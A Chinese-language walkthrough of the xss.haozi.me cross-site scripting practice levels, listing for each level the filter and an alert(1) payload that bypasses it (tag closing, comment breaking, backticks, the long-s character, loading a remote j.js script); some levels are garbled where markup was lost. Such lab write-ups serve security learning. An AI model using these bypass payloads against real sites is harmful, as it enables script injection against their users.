xss.haozi.me通关教程
字数 797 2025-08-24 16:48:16
XSS.haozi.me 通关教程
0x00 基础注入
- 注入点: 直接脚本注入
- Payload:
<script>alert(1)</script> - 原理: 直接注入JavaScript代码执行
0x01 Textarea标签注入
- 注入点:
<textarea>标签内 - 解决方案1: 闭合原标签
</textarea><script>alert(1)</script><textarea> - 解决方案2: 利用error事件
</textarea><textarea>
0x02 输入框值注入
- 注入点: 输入框value属性
- Payload:
"> - 原理: 闭合前面的双引号和标签
0x03 括号过滤绕过
- 过滤内容: 括号和方括号
- 绕过方法: 使用反引号
<script>alert`1`</script>
0x04 多重符号过滤
- 过滤内容: 括号、正括号和引号
- 绕过方法: HTML编码
0x05 注释符绕过
- 注入点: 注释符之间
- Payload:
--!><script>alert(1)</script><!-- - 原理: 使用
--!>闭合注释
0x06 正则过滤绕过
- 过滤正则:
/auto|on.*=|>/ig - 绕过方法: 换行符
type="image" src="" onerror=alert(1)
0x07 标签过滤绕过
- 过滤正则:
<\/?[^>]+> - 绕过方法: 不闭合标签
` - 绕过方法1: 添加空格
</style ><script>alert(1)</script><style> - 绕过方法2: 直接闭合
</style><script>alert(1)</script><style>
0x09 白名单绕过
- 要求: 包含指定网址
- Payload1:
https://www.segmentfault.com1" onerror=alert(1) - Payload2:
https://www.segmentfault.com"></script> - 方法2: 引用外部JS
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C 关键词过滤
- 过滤内容:
script - 绕过方法1: 畸形构造
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript> - 绕过方法2: 直接注入
0x0D 注释结构破坏
- 过滤内容: 斜杠、引号
- Payload:
alert(1);-->
0x0E 特殊字符绕过
- 过滤规则:
<后加下划线并大写 - 绕过方法: 使用特殊字符
ſ<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F HTML编码绕过
- Payload1:
'); alert(1); // - Payload2:
'); alert('1
0x10 无过滤注入
- Payload:
''; alert(1);
0x11 转义字符绕过
- Payload1:
"); alert(1); // - Payload2:
"); alert("1
0x12 转义符转义
- Payload1:
\"); alert(1); // - Payload2:
</script><script>alert(1)</script><script>